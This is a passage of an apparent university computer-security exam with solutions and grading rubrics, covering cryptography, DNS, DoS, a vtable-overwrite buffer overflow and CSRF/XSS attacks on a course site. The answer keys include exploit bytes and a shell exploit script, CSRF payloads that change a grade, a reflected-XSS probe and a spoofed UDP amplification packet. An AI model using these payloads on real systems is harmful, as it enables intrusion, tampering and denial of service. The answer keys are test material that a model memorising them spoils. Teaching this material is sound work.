

Problem 1 *Potpourri is unhealthy*

(20 points)

- (a) (2 points) TRUE or FALSE: Modern web browsers protect against clickjacking by using the same-origin policy to prevent sites from putting other origins into an `iframe`.
- TRUE FALSE
- (b) (2 points) TRUE or FALSE: The primary danger of XSS vulnerabilities is that they let an attacker execute Javascript on the victim machine without having the victim visit the attacker's website.
- TRUE FALSE
- (c) (2 points) TRUE or FALSE: Even if you carefully inspect all links that you click, you can still be vulnerable to a CSRF attack.
- TRUE FALSE
- (d) (2 points) TRUE or FALSE: For most common implementations of session cookies (as seen in lecture and on the project), a SQL injection can let an attacker steal the sessions of other users.
- TRUE FALSE

Solution: Most session cookies are stored in the backend as a database table.

- (e) (2 points) TRUE or FALSE: If a script is loaded from another origin using a `script` tag, the same-origin policy prevents this script from reading the cookies on the current page.
- TRUE FALSE

- (f) (2 points) Some architectures prohibit executing unaligned machine code instructions. This makes it harder for an attacker to perform return oriented programming, which often chains together “gadgets” found by jumping to the middle of instructions.
- (g) (2 points) In certificate transparency, after a certificate authority signs a certificate, they submit the signed certificate to a certificate transparency log. They receive a(n) signed certificate timestamp in return. If the signed certificate is not in the log after a certain amount of time, certificate authorities can use this to prove malicious or incorrect behavior of the log.
- (h) (2 points) The use of trusted boot systems and signed code helps prevent rootkits, which is malware that often hides in the BIOS and operating system.
- (i) (2 points) At the beginning of their life cycles, computer worms grow exponentially, but as time goes on it becomes harder to find new victims and the worm growth slows.
- (j) (2 points) Tor is fundamentally vulnerable against timing attacks conducted by global adversaries because it is supposed to be low latency / efficient.

Problem 2 *Welcome to the Wonderful World of*

(14 points)

People of earth, boys and girls, children of all ages, welcome to the wonderful world of block cipher, symmetric encryption, and hash functions!

- (a) There are two **symmetric** encryption schemes, SymEncA and SymEncB. Both implement valid encryption / decryption on a message / ciphertext, but one of them may be insecure.

Bob wants to combine these two schemes to avoid the risk of using a failed encryption scheme. He proposes the following combinational construction.

Construction I: The ciphertext of the message M consists of two parts:

1. The first part of the ciphertext $C_{part-1} = \text{SymEncA.Encrypt}(k; M)$.
2. The second part of the ciphertext $C_{part-2} = \text{SymEncB.Encrypt}(k; M)$.
3. That is, the ciphertext is $C = (C_{part-1}, C_{part-2})$.

◇ **Question:** Is the Construction I secure if at least one of the symmetric encryption schemes is secure? Why?

- If yes, fill the corresponding circle, and provide a concise description of why it can hide the message.
- If no, fill the corresponding circle, and provide a concise description of a counterexample. Please answer within 4 lines.

Yes.

No.

Please answer within the following four lines.

Solution: An insecure encryption scheme can simply leak the whole message. (3 points)

(b) Bob proposes another combinational construction.

Construction II: To encrypt message M , there are two steps:

1. The intermediate value $I = \text{SymEncA.Encrypt}(k; M)$, which means it encrypts M directly under key k . This intermediate value is not the ciphertext.
2. The final ciphertext $C = \text{SymEncB.Encrypt}(k; I)$, which means it encrypts the intermediate value under key k .
3. That is, the ciphertext is $C = \text{SymEncB.Encrypt}(k; \text{SymEncA.Encrypt}(k; M))$

◇ **Question:** Is the Construction II secure if at least one of the symmetric encryption schemes is secure? Why?

- If yes, fill the corresponding circle, and provide a concise description of why it can hide the message.
- If no, fill the corresponding circle, and provide a concise description of a counterexample.

Yes.

No.

Please answer within 4 lines.

Solution: If the student said “insecure”, the student immediately obtains 2 point.

One example is if the encryption scheme simply leaks the entire key, for example $\text{SymEncB.Encrypt}(k; M) = (k, M)$. In this case the composition is clearly insecure.

Another example is if both symmetric encryption schemes are based on CTR mode, but with a small difference in using the counter.

- The first encryption scheme:

$$\begin{aligned}C_0 &= IV, \\C_i &= \text{AES}_k(IV + i) \oplus M.\end{aligned}$$

- The second encryption scheme:

$$\begin{aligned}C_0 &= IV, \\C_i &= \text{AES}_k(IV + i - 1) \oplus M.\end{aligned}$$

The position shift of the second one enables them to cancel each other. If the student excludes the nonce or initialization vector, it is also okay.

The student only needs provide a high level explanation that somehow indicates that one of the cipher can break the security by knowing the key used in another cipher. The total for this part is 4 points.

(c) You accidentally fell into a trap and entered the 8th floor of Soda Hall.

On the wall the following sentences appear:

No block cipher provides IND-CPA confidentiality because they must be deterministic.

No hash function provides IND-CPA confidentiality because they must be deterministic.

No HMAC provides IND-CPA confidentiality because ...

No digital signature provides IND-CPA confidentiality because

Some words on the last two lines are missing.

◇ **Question:** What do you think the reasons should be? (Answer within the lines)

- *No HMAC provides IND-CPA confidentiality because:*

- *No digital signature provides IND-CPA confidentiality because:*

Solution: For hash-based MAC, deterministic, 1 points.

For digital signature, the verifier can use the verifying key to check a message, thus the signature cannot hide the message. Anything mentioning the verifying process can obtain 3 points here. If the student writes “deterministic” for digital signature, no point for the digital signature part.

(d) To make RSA signatures secure, we can apply a cryptographic hash function H over the message M , where the output of the hash function is a non-negative integer in $\{0, 1, \dots, 2^{256} - 1\}$. We know that this hash function H must be second-preimage resistant; otherwise, another message $M' \neq M$ can be found that also matches the signature.

Later, the RSA signature is computed as follows:

$$sig = H(M)^d \pmod{n},$$

where n is the RSA modulo, (e, n) forms the RSA public key, (d, n) forms the RSA private key, and $ed \equiv 1 \pmod{\phi(n)}$, where $\phi(n)$ is Euler’s totient function.

Alice wonders whether she can customize her hash function. She creates another function H' , modified from H :

$$H'(x) = H(x) - H(\text{“Alice”}) \pmod{2^{256}}.$$

◇ **Question:** Can we use H' instead of H for RSA signature for *every* possible message that Alice might sign?

Yes.

No.

And explain within the line:

Solution: There exists a valid signature 0 for the string “Alice” for any key pair, 3 points.

Some students pointed out that $H'(\text{“Alice”}) = 0$. These solutions received partial credit, but a correct solution must explicitly mention that the signature is forgeable. Note that signatures **do not** aim to provide confidentiality, so statements like “the attacker will know the signature is on the string ‘Alice’” are not relevant.

If the student mentions that the hash must be one-way, no point, since this function is still one-way. If the student mentions that this function is no longer collision-resistant, no point, since this function is still collision-resistant. This is regardless of whether the student mentions other possibilities.

If the student mentions that the hash function must be (modeled as) a random oracle, though this is not an explicit counterexample, still give the student 3 points.

Problem 3 Low-level Denial of Service

(8 points)

In this question, you will help Mallory develop new ways to conduct denial-of-service (DoS) attacks.

- (a) CHARGEN and ECHO are services provided by some UNIX servers. For every UDP packet arriving at port 19, CHARGEN sends back a packet with 0 to 512 random characters. For every UDP packet arriving at port 7, ECHO sends back a packet with the same content.

Mallory wants to perform a DoS attack on two servers. One with IP address *A* supports CHARGEN, and another with IP address *B* supports ECHO. Mallory can spoof IP addresses.

- i. Is it possible to create a single UDP packet with no content which will cause both servers to consume a large amount of bandwidth?
 - If yes, mark 'Possible' and fill in the fields below to create this packet.
 - If no, mark 'Impossible' and explain within the provided lines.

Possible Impossible

If possible, fill in the fields:

Source IP: **B** Destination IP: **A**
Source port: **7** Destination port: **19**

If impossible, why?

Solution: Source IP: B, port: 7. Destination IP: A, port: 19. Source and destination can be flipped. Notice this will create a chain of CHARGEN and ECHO that will generate a lot of network traffic.

1 point for not checking 'impossible', 2 points for correct answer (0.5/blank), for a total of 3 points.

- ii. Assume now that CHARGEN and ECHO are now modified to only respond to TCP packets (post-handshake) and not UDP. Is it possible to create a single TCP SYN packet with no content which will cause both servers to consume a large amount of bandwidth?

- If yes, mark 'Possible' and fill in the fields below to create this packet.
- If no, mark 'Impossible' and explain within the provided lines.

Possible Impossible

If possible, fill in the fields:

Source IP: _____ Destination IP: _____
Source port: _____ Destination port: _____
Sequence #: _____ Ack #: N/A

If impossible, why?

Solution: Impossible. As seen in previous question, source/destination IP has to be B/A for the chain to work. If you send a SYN packet to A pretending to be B, A will send SYN-ACK to B, which won't respond since it never sent a SYN. The connection won't be established.

Answer as simple as "handshake won't complete" would be given justification credit. 1 point for checking 'impossible', 2 points for correct justification, for a total of 3 points. I expect students to want clarification for sequence number. No clarification should be given.

- (b) A typical web server maintains a connection after receiving each TCP connection request. Write down the the name of the transport layer attack that can cause denial-of-service on the web server which works by consuming a large amount of server memory.
-

Solution: TCP SYN Flood (2 points)

Problem 4 OTP-KE

(9 points)

Alice and Bob want to communicate securely. They come up with a new key exchange protocol, inspired by the Diffie-Hellman key exchange but based on the security properties of the one-time pad. Assume $E_K(M)$ is a one-time-pad with message M and key K . The two of them randomly generate A and B , which will be their own unique one-time pad keys. Alice also generates a truly random key S , which is the symmetric key she and Bob want to agree on and will be used for further communication after the key exchange.

To execute the protocol, Alice uses one-time-pad encryption to encrypt S using her secret key A , then sends $E_A(S)$ to Bob. Bob encrypts the resulting message using his secret key and sends back $E_B(E_A(S))$. Alice decrypts that message and sends back $D_A(E_B(E_A(S)))$.

Please answer each of the following questions in three sentences or less. Longer responses will not get credit.

- (a) Explain how Alice and Bob can agree on S based on this protocol.

Solution: Alice has S by construction.

Bob will be able to recover S from the last message, because it is just $E_B(S) = S \oplus B$, and he knows B .

- (b) Is this protocol secure against a passive attacker?

Yes No

If yes, explain why. If no, provide an attack.

Solution: No.

If the attacker observes all three messages in the exchange, they can XOR them all together to get: $M_1 \oplus M_2 \oplus M_3 = E_A(S) \oplus E_B(E_A(S)) \oplus E_B(S) = (S \oplus A) \oplus (S \oplus A \oplus B) \oplus (S \oplus B)$

A , B , and one pair of S s cancel out, leaving the secret key S !

Note that the question requires a concrete attack. It is important for the students to at least mention one concrete attack that leaks A or B .

- (c) Is this protocol secure against an active attacker?

Yes No

No explanation needed.

Solution: An active attacker is strictly more powerful than a passive attacker.

Problem 5 Private set intersection

(13 points)

Suppose Alice has a list of n integers a_1, a_2, \dots, a_n ; and Bob has a list of n integers as well b_1, b_2, \dots, b_n . Each integer is only 16 bits long.

(a) Alice wants to know if they have any numbers in common, i.e., if there exist i, j such that $a_i = b_j$. Bob applies a function F to each of his numbers, and sends the list $F(b_1), F(b_2), \dots, F(b_n)$ to Alice.

i. Which of the following choices of F allows Alice to identify whether Bob has a b_j that is equal to some element a_i in Alice's list? k is a shared symmetric key.

$F(x) = \text{SHA-256}(x)$

$F(x) = \text{AES-CBC}_k(x)$

$F(x) = \text{SHA-256}(x||r)$, where r is 256 bits long and randomly chosen per x

$F(x) = \text{SHA-256}(x||k)$

$F(x) = \text{AES}_k(x)$

None of the above

Solution: SHA-256 is deterministic, and therefore Alice can simply enumerate all possible values it can take. This is however not possible when a random 256-bit r is incorporated. Also, she can simply decrypt AES and AES-CBC since she knows the key.

ii. Which of the following choices of F ensure that Alice can **only** identify the b_j values that are equal to some element a_i in Alice's list? Alice should **not** be able to identify the value of b_j if it is not equal to some value in her list.

$F(x) = \text{SHA-256}(x)$

$F(x) = \text{AES-CBC}_k(x)$

$F(x) = \text{SHA-256}(x||r)$, where r is 256 bits long and randomly chosen per x

$F(x) = \text{SHA-256}(x||k)$

$F(x) = \text{AES}_k(x)$

None of the above

Solution: As in the previous part, SHA-256 is deterministic, and therefore vulnerable to a dictionary attack. This is not possible when a random r is incorporated, but in this case, Alice can't identify matching b_j values either. Alice can simply decrypt AES and AES-CBC since she knows the key.

(b) Now suppose that Alice and Bob **both** wish to learn the common elements in their lists. To this end, they engage in a new protocol inspired by Diffie/Hellman. They agree on a large prime number p . Alice chooses a secret value α uniformly at random from the set $\{1, 2, 3, \dots, p-2, p-1\}$. Bob follows the same procedure to choose a secret value β . They then exchange four messages sequentially, as follows. (H is a secure hash function.)

1. Alice \rightarrow Bob: $(H(a_1))^\alpha, (H(a_2))^\alpha, \dots, (H(a_n))^\alpha$ (all modulo p)

2. Bob \rightarrow Alice: $(H(b_1))^\beta, (H(b_2))^\beta, \dots, (H(b_n))^\beta$ (all modulo p)

3. Alice \rightarrow Bob: ???

4. Bob \rightarrow Alice: ???

i. What values should Alice and Bob send to each other in steps 3 and 4? They should be able to identify values that exist in both their lists. They should **not** be able to identify any value in the other person's list if it is not equal to some value in their own list.

3. Alice \rightarrow Bob: _____

4. Bob \rightarrow Alice: _____

Solution:

Alice \rightarrow Bob: $(H(b_1))^{\beta\alpha}, (H(b_2))^{\beta\alpha}, \dots, (H(b_n))^{\beta\alpha}$ (all modulo p)

Bob \rightarrow Alice: $(H(a_1))^{\alpha\beta}, (H(a_2))^{\alpha\beta}, \dots, (H(a_n))^{\alpha\beta}$ (all modulo p)

ii. Now suppose that Bob decides to cheat in step 4. Instead of sending the correct message to Alice, he wishes to make Alice believe that their lists are identical. Alice follows the protocol as before, and does not expect Bob to cheat.

◇ **Question:** What values should Bob send to Alice in step 4 to achieve this?

Solution: $(H(b_1))^{\beta\alpha}, (H(b_2))^{\beta\alpha}, \dots, (H(b_n))^{\beta\alpha}$ (all modulo p)

That is, Bob simply returns Alice's message back to her.

Problem 6 Network Security

(20 points)

Answer the following questions about network security.

- (a) Bob connects his laptop to the DeCafe coffee shop's Wifi, which anyone nearby can join without a password. He browses to the website `http://www.foocorp.com`. At the table next to him is an evil attacker, Mallory, who has also joined the DeCafe Wifi network. What kind of threat model best describes Mallory when she first joins the network, with respect to Bob's connection with DeCafe router's?
- Off-path attacker
 - On-path attacker
 - In-path attacker
 - None of these

Solution: Other users on a Wifi network with shared passwords are on-path attackers since Wifi packets are broadcast (through the air).

- (b) Bob returns home and types into his browser `www.foocorp.com`. Suppose that Mallory has managed to poison the DNS cache on Bob's laptop, such that it now thinks the IP address of `www.foocorp.com` is 6.6.6.6, which is the IP address of a server that Mallory controls.
- Mallory will be unable to steal Bob's cookies for `http://www.foocorp.com` if `http://www.foocorp.com` uses HTTP-Only cookies.
 - Mallory will be unable to steal Bob's cookies for `http://www.foocorp.com` if `http://www.foocorp.com` uses a CSP policy that only allows scripts to be loaded from sources on `foocorp.com`.
 - Mallory will be unable to steal `foocorp.com` cookies marked with the secure flag.
 - Mallory will be unable to inject JavaScript into `http://www.foocorp.com`
 - Mallory will be unable to steal Bob's `foocorp.com` cookies if `foocorp.com` uses HTTPS and Bob's browser checks certificate transparency logs over HTTPS.
 - Mallory will be unable to steal Bob's cookies if `foocorp.com` uses HTTPS and Bob's browser has previously received an HSTS header.
 - None of the above

Solution: DNS results tell the machine which IP address a hostname / domain actually resides on. Thus, HTTP-only cookies do not protect Bob in this situation, since his browser will think that the server at 6.6.6.6 is actually `foocorp.com` (and thus send the cookies to Mallory's malicious server). Similarly, CSP provides no protection because Bob's machine will believe that 6.6.6.6 is `foocorp.com` and send the cookies by default.

Mallory won't be able to steal `foocorp.com`'s cookies if they are marked as secure because they will **ONLY** ever be sent over HTTPS connections, which Mallory cannot establish since she does not have the private key that matches `foocorp.com`'s certificate.

Mallory will be able to inject connect into `http://www.foocorp.com`, since Bob's browser will fetch the website's code (HTML, JS, etc.) from Mallory's malicious server. (Thus the answer that says she is **unable** to do so is false).

Mallory will be able to steal Bob's cookies even if foocorp uses HTTPS since Bob's browser does not necessarily know that foocorp uses HTTPS. When he browses to **www.foocorp.com** Mallory's malicious server can just start an unprotected HTTP session and serve him malicious content / receive Bob's cookies. Certificate transparency will be irrelevant in this case, so the answer that says Mallory is **unable** to steal the cookies due to cert transparency is incorrect.

On the other hand, an HSTS header tells the browser that a website must be visited over HTTPS. If Bob has previously received an HSTS header from foocorp.com, then his browser will know that it should only be connecting over HTTPS to foocorp.com; this will prevent Mallory for stealing Bob's cookies or starting a valid session with his browser.

- (c) Suppose that foocorp.com domain has the following four subdomains: (www, alphabet, sushi, money).

The attacker knows that foocorp.com has only four subdomains but does not know any of their names, and wishes to discover the subdomains using the zone enumeration attack discussed in class.

◇ **Question:** Assuming every DNS server uses plain NSEC, what is the minimum number of queries the attacker needs to make to foocorp.com's nameservers in the worst-case for the attacker?

- 0 1 2 3 4
 5 6 to 10 11 to 24 25 to 35 ≥ 36

Solution: Suppose that the attacker correctly guesses 'alphabet', 'money', and 'www' correctly on his first three tries. There are now 3 regions where the final domain might live: alphabet -> money, money -> www, and www -> alphabet. If the attacker searches the region from www -> alphabet (e.g., querying 'zzzzzz') and the region from alphabet -> money (e.g., querying 'bbbbbb'), she will learn that no subdomains exist in those regions. But she's now made 5 queries in total; when she searches the space between money -> www, the final subdomain sushi will be revealed, leading to a total of 6 queries. Since the attacker knows that there are exactly 4 subdomains, she is done.

(d) Suppose that a user Alice is browsing the Internet at home and Mallory is an on-path attacker. In which of the following scenarios will Mallory be able to identify whether or not Alice is visiting a website on foocorp.com?

- Alice's machine and local DNS resolver randomize the source port of DNS queries; foocorp.com's NS server use DNS (without DNSSEC); foocorp.com does not use HTTPS
- Alice's machine and local DNS resolver use a fixed source port for every DNS query; foocorp.com's NS server uses DNSSEC with plain NSEC; foocorp.com does not use HTTPS
- Alice's machine and local DNS resolver use a fixed source port for every DNS query; foocorp.com's NS server uses DNSSEC with NSEC3; foocorp.com does not use HTTPS
- Alice's machine and local DNS resolver use a fixed source port for every DNS query; foocorp.com's NS server uses DNSSEC with NSEC3; foocorp.com uses HTTPS
- None of the above

Solution: DNS does not provide confidentiality for a user's queries, regardless of whether or not DNSSEC is used. Thus an on-path attacker can observe that Alice is visiting a foocorp.com website if Alice's browser ever issues a DNS query for a subdomain on foocorp.com. Moreover, HTTPS doesn't hide the src and destination IP addresses of the connection. So even if Alice's browser never issues a DNS query about foocorp.com's sites, an on-path attacker can simply check whether the destination IP address of any of Alice's sessions matches an IP address for foocorp.com. As a result, none of the solutions hide any destination site that Alice is visiting from Mallory.

(e) FooCorp has chosen to use very short TTLs in all of their DNS responses. Which of the following statements are true?

- Short TTLs help protect against attacks where FooCorp's DNS servers have been compromised
- Short TTLs increase the number of requests FooCorp's DNS servers need to support
- Assuming all DNS servers used DNSSEC with plain NSEC, then FooCorp's decision to use short TTLs will increase the amount of work that the DNS servers of FooCorp's parent zone need to perform
- Short TTLs help protect against DNS cache poisoning attacks by an on-path attacker
- Short TTLs help protect against blind-spoofing attacks
- None of the above

Solution: FooCorp's decision to use short TTLs will actually hurt / cause attacks to be worse in the case of a compromise of their DNS servers, since the short TTLs will mean that users will be more likely to request new DNS records during the window of compromise. And during the window of compromise, the attacker has full control to set DNS responses to whatever they want (including the TTL values, regardless of what FooCorp's original policy was).

Short TTLs do not provide any mitigation against spoofing attacks: if a spoofed DNS response succeeds, the attacker gets to set their own TTL; so the attacks involving on-path and blind-spoofing attacks are incorrect.

Short TTLs do not involve the parent zone in NSEC.

- (f) FooCorp hosts *all* of its servers on machines provided by CheapCloud: a large, but unreliable, cloud hosting provider. CheapCloud suffers from two major problems: (i) they have frequent data breaches; and (ii) they often need to assign new IP addresses to their customers' servers. Nevertheless, CheapCloud promptly notifies their customers whenever either of these events occurs.

◇ **Question:** Which of the following designs or techniques can FooCorp use to help mitigate some of the security issues caused specifically by CheapCloud's poor environment?

- | | |
|---|--|
| <input checked="" type="checkbox"/> FooCorp uses plain DNS and sets short TTLs for all of its DNS responses | <input checked="" type="checkbox"/> FooCorp uses DHE-based TLS, but does not use certificate pinning |
| <input type="checkbox"/> FooCorp uses RSA-based TLS with certificate pinning | <input type="checkbox"/> FooCorp uses DNSSEC with NSEC3 |
| <input type="checkbox"/> FooCorp uses DNSSEC with plain NSEC | <input type="checkbox"/> None of the above |

Solution: Short TTLs will be useful here: because CheapCloud frequently issues new IP addresses to customer servers, that means that the DNS records for FooCorp will frequently be incorrect and point to the server of another customer. Short TTLs force resolvers to clear their cache entries more frequently, and thus issue new queries and receive the updated information more often.

Diffie-Hellman provides forward secrecy, which will help mitigate the frequent breaches that CheapCloud's servers face: even if an attacker obtains a private key from a FooCorp server in one of these data breaches, forward secrecy protects the confidentiality of past TLS sessions.

Certificate pinning is not relevant to issues caused by CheapCloud's environment, since the certificate authority issues are not related to CheapCloud's environment. DNSSEC also isn't relevant to CheapCloud's environment since we're not worried about spoofed DNS records; the bigger concern stems from the frequently changing IP addresses, which short TTLs addresses.

(g) Suppose foocorp.com, .com, and the root DNS servers all use DNSSEC. An attacker has compromised the .com zone's DNS servers and stolen just the .com Zone Signing Key (ZSK). Once .com manages to remove the attacker, which of the following steps should be taken to prevent an attacker from using the stolen ZSK to forge DNS responses after all existing signatures have expired?

- | | |
|--|--|
| <input type="checkbox"/> foocorp.com will need to update its RRSIG records | <input checked="" type="checkbox"/> .com will need to update its DNSKEY records |
| <input type="checkbox"/> foocorp.com will need to update its DNSKEY records | <input checked="" type="checkbox"/> .com will need to update its RRSIG records |
| <input type="checkbox"/> foocorp.com will need to update its DS records | <input type="checkbox"/> `.` (the root zone) will need to update its DNSKEY records |
| <input type="checkbox"/> foocorp.com will need to update its Key Signing Key | <input type="checkbox"/> `.` (the root zone) will need to update its DS records for .com |
| | <input type="checkbox"/> None of the above |

Solution: This question tests two key concepts: How does a DNSSEC record recipient know that the records are actually valid? The answer is that there is the zone provides signatures over the records in the form of RRSIG records, which are signed by the zone's ZSK (except for the DNSKEY record). If a zone's ZSK is compromised, then the zone will need to create a new ZSK and generate a new batch of RRSIG records that uses this new ZSK.

In DNSSEC, what is the purpose of the Key-Signing Key? Exactly this situation: a ZSK for a zone is compromised and the ecosystem would like to efficiently remediate the situation. The KSK is only used to sign RRSIG for the DNSKEY record. The DNSKEY record tells the world what the zone's ZSK is. If a zone's ZSK is compromised and a new ZSK is created, this DNSKEY record will need to be updated to have the new ZSK entry. Since the KSK has not been compromised, it can still be used to generate the RRSIG for this DNSKEY record and none of the parent or child zones need to perform any changes.

Problem 7 Detection to Surveillance

(7 points)

The "No Such Agency" is looking to build a new surveillance system designed to detect "bad dudes". They want to deploy this system at a single location on the network that they identified as a hub for international communication.

- (a) One proposed detector has a false positive rate (FPR) of X , and a false negative rate (FNR) of Y , and the other proposed detector has a FPR of Y and a FNR of X . Let C_P be the cost of a false-positive, C_N be the cost of a false negative, and p be the fraction of malicious communications. Assume the detectors are otherwise identical.

◇ **Question:** For what value of p are the two systems equally preferred (as a function of X, Y, C_P and C_N)?

$$p = \boxed{}$$

Solution: We want the total costs of the two systems to be equal. Since the total false-positives is $\text{FPR} \cdot \text{Total negatives}$ (and the analogous is true for total false-negatives):

$$X(1 - p)C_P + Y(p)C_N = Y(1 - p)C_P + X(p)C_N$$

$$XC_P - XpC_P + YpC_N = YC_P - YpC_P + XpC_N$$

$$C_P(X - Y) = pC_N(X - Y) + pC_P(X - Y)$$

$$C_P = p(C_N + C_P) \implies p = \frac{C_P}{C_P + C_N}$$

- (b) Someone else suggests alerting at random: a random system will alert with probability r , and will not alert with probability $(1 - r)$. Find the false-positive and the false-negative rates of this system.

$$\text{FPR} = \boxed{}$$

$$\text{FNR} = \boxed{}$$

Solution: Remember, if A is the event the detector alerts, and M is the event that the communication is malicious, the false-positive rate is

$$P(A|\neg M)$$

and the false-negative rate is

$$P(\neg A|M).$$

Since both, in this case, are independent from the communication, this reduces to the probability that the detector alerts, or doesn't alert, which is simply:

$$P(A|\neg M) = P(A) = r,$$

$$P(\neg A|M) = P(\neg A) = 1 - r.$$

Problem 8 Virtual Tables, Real Fun**(16 points)**

The following code runs on a 32-bit x86 system.

```
1 #include <stdio.h>
2 int main() {
3     FILE *fp;
4     char buf[8];
5     fp = fopen("outis", "rb");
6     fread(buf, sizeof char, 12, fp);
7     fclose(fp);
8 }
```

Behind the hood, the FILE struct is implemented in `stdio.h` as follows:

```
1 struct _IO_FILE; /* implementation omitted */
2
3 typedef struct {
4     struct _IO_FILE ufile;
5     struct _IO_jump_t *vtable;
6 } FILE;
7
8 struct _IO_jump_t {
9     size_t (*fread)(void *, size_t, size_t, FILE *);
10    size_t (*fwrite)(void *, size_t, size_t, FILE *);
11    int (*fclose)(FILE *);
12    /* more members below omitted */
13 };
14
15 int fclose(FILE *fp) { return fp->vtable->fclose(fp); }
16 /* more implementations below omitted */
```

Make the following assumptions:

1. No memory safety defenses are enabled.
2. The compiler does not perform any optimizations, reorder any variables, nor add any padding in between struct members.
3. The implementation of the function `fopen` has been omitted. Assume a sensible implementation of `fopen` that initializes the `ufile` and `vtable` fields of the `FILE` struct to sensible values.

(a) Running the program in gdb using `invoke -d` as in Project 1, you find the following:

- `&buf = 0xbf608040`
- `&fp = 0xbf608048`
- `sizeof(struct _IO_FILE) = 32`

You wish to prove you can exploit the program by having it jump to the memory address `0xdeadbeef`. Complete the Python script below so that its output would successfully exploit the program.

NOTE: The syntax `\xRS` indicates a byte with hex value `0xRS`.

```
#!/usr/bin/env python2
import sys
sys.stdout.write('\x____\x____\x____\x____' + \
                 '\x____\x____\x____\x____' + \
                 '\x____\x____\x____\x____')
```

Solution: There are two possible solutions:

Solution 1:

```
3c 80 60 bf (= &buf - 4)
ef be ad de (= 0xdeadbeef)
20 80 60 bf (= &buf - 32)
```

Solution 2:

```
ef be ad de (= 0xdeadbeef)
38 80 60 07 (= &buf - 8)
24 80 60 07 (= &buf - 28)
```

Both solutions overwrite `fp` such that `fp->vtable->fclose` points to the memory address `0xdeadbeef`. When `fclose` is called, this will lead to the shellcode at `0xdeadbeef` being executed. Note that `vtable` is offset 32 from the start of the `FILE` struct, while `fclose` is at offset 8 from the start of the `_IO_jump_t` struct.

Award partial credit for each of the following.

- -1 point: not using little endian.
- 0 points: for solutions which write outside the lines, or which strongly misunderstand syntax. If this is the case, **no further points can be awarded below**.
- 1 point: writing `0xdeadbeef` anywhere in the buffer. If `0xdeadbeef` overwrites `fp`, **no further points can be awarded below**.
- One of the following (whichever gives more points):
 - 4 points: overwriting `fp` with either `0xbf608020` or `0xbf608024`.
 - 2 points: overwriting `fp` with a value between `0xbf608000` and `0xbf608030`.

- 1 point: overwriting `fp` with a value between `0xbf608031` and `0xbf608040`.
- If none of the above apply, award no points for this subpart. **No further points can be awarded below.**
- One of the following (whichever gives more points):
 - 3 points: emulate either solution by writing the correct value into the appropriate spot: into `&buf` if using Solution 1, or `&buf + 4` if using Solution 2.
 - 1.5 points: emulate either solution by writing a value between `0xbf608030` and `0xbf608048` into the appropriate spot: into `&buf` if using Solution 1, or `&buf + 4` if using Solution 2.

(b) Now you wish to write an exploit script, such that running it will successfully exploit the program. You save your code from part (a) as a script called `egg`. The vulnerable program is called `hack_me`. Which of the following code snippets is a valid exploit script?

- | | |
|--|--|
| <input type="checkbox"/> <code>#!/bin/bash</code>
<code>./egg invoke hack_me</code> | <input type="checkbox"/> <code>#!/bin/bash</code>
<code>invoke -e outis=\$(./egg) hack_me</code> |
| <input type="checkbox"/> <code>#!/bin/bash</code>
<code>outis=\$(./egg)</code>
<code>invoke hack_me \$outis</code> | <input checked="" type="checkbox"/> <code>#!/bin/bash</code>
<code>./egg > outis</code>
<code>invoke hack_me</code> |

(c) Which of the following defenses would stop your attack in part (a) from exploiting the program by jumping to memory address `0xdeadbeef`? Assume `0xdeadbeef` is at a read-only part of memory.

- | | |
|--|---|
| <input type="checkbox"/> Stack canaries | <input type="checkbox"/> W^X |
| <input checked="" type="checkbox"/> ASLR which does not randomize the <code>.text</code> segment (as in Project 1) | <input checked="" type="checkbox"/> ASLR which also randomizes the <code>.text</code> segment |

(d) (Consider this question independently from part (c).) Now consider that we move the variables `fp` and `buf` outside of the `main` function, as follows:

```

1 #include <stdio.h>
2 char buf[8]; /* &buf = 0x08402020 */
3 FILE *fp; /* &fp = 0x08402028 */
4 int main() { /* rest of main is the same, but no variables */ }

```

TRUE or FALSE: It is possible to modify the exploit in part (a) to exploit this modified program.

- TRUE FALSE

Solution: Yep, just change the addresses.

Problem 9 Hacking the 161 Staff**(10 points)**

After months of development, the CS 161 staff is ready to unveil their new course homepage at `http://cs161.org`. Each TA has their own account and, after authenticating on `http://cs161.org/login`, can update any student's grade on the final exam by making an HTTP GET request to:

`http://cs161.org/updatefinal?sid=<SID>&score=<SCORE>`

where `<SID>` is the student ID, and `<SCORE>` is the student's new exam score (as a number – without the percent sign).

- (a) Mallory is a student in CS 161, with the student ID of 12345678. She wants to use a CSRF attack to change her exam score to 100 percent. She overhears her TA mention in discussion that he likes to visit `http://cool-web-forum.com` which Mallory happens to know does not properly sanitize HTML in user inputs.

◊ **Question:** Give an input which Mallory can post to the forum in order to execute a CSRF attack to change her exam score, assuming there are no CSRF defenses on `cs161.org`.

Solution: Some possible solutions include:

- ``
- `<script>`
`window.location="http://cs161.org/updatefinal?sid=12345678&score=100"`
`</script>`

We tried to be lenient with syntax, but solutions with very poor syntax received reduced credit. Half the points come from having the right link, and the other half come from putting it in an `` tag or something similar. Note that just posting the link is not enough, since we didn't state the TA would click it.

- (b) The TA then visits the web forum, yet Mallory's grade does not change. Mallory deduces that the 161 staff must have included a defense for CSRF on their webpage. Not one to be deterred, Mallory decides to attempt her attack again.

The login page has an *open redirect*: It can be provided a webpage to automatically redirect to after the user successfully authenticates. For example the URL:

`http://cs161.org/login?to=http://google.com`

would redirect any logged in user to `http://google.com`.

Using this information, Mallory crafts the following attack—replacing your URL in part (a) with the following URL:

`http://cs161.org/login?to=http://cs161.org/updatefinal?sid=12345678&score=100`

A few minutes later, Mallory observes that her final grade is changed to a 100 percent. Which of the following are CSRF defenses that Mallory might have circumvented?

- Origin checking
- Referer checking
- CSRF tokens
- Content-Security-Policy
- Prepared statements
- Session cookies
- Cookie policy
- Same-origin policy
- None of the above

Solution: The TA website must have been using Referer validation. Initially the Referer for the request was the web forum, but using the open redirect Mallory was able to make the Referer the TA website itself.

Note that this would not work against validation of the Origin header, which would still contain the web forum. All of the other defenses listed have nothing to do with the redirect, and so they do not apply.

- (c) The 161 staff update their site to better protect against CSRF. Mallory now notices that the website contains a profile page for each member of the 161 staff, reachable from the URL

```
http://cs161.org/staff?name=<name>
```

where <name> is replaced with each staff member's name. If the provided <name> does not correspond to a member of the 161 staff, then instead a page is loaded with a message stating "Sorry, but there is no TA named <name>!"

Suspecting that this website might be vulnerable to reflected XSS, Mallory visits the following URL:

```
http://cs161.org/staff?name=<script>alert(0);</script>
```

A Javascript popup immediately appears on her screen. Mallory smiles, realizing that she can weaponize this to login as her TA. She returns to the web forum that her TA frequently visits and posts a link.

Assume that Mallory's TA will click on any link that he sees on the web forum, and assume that Mallory controls her own website <http://mallory.com>.

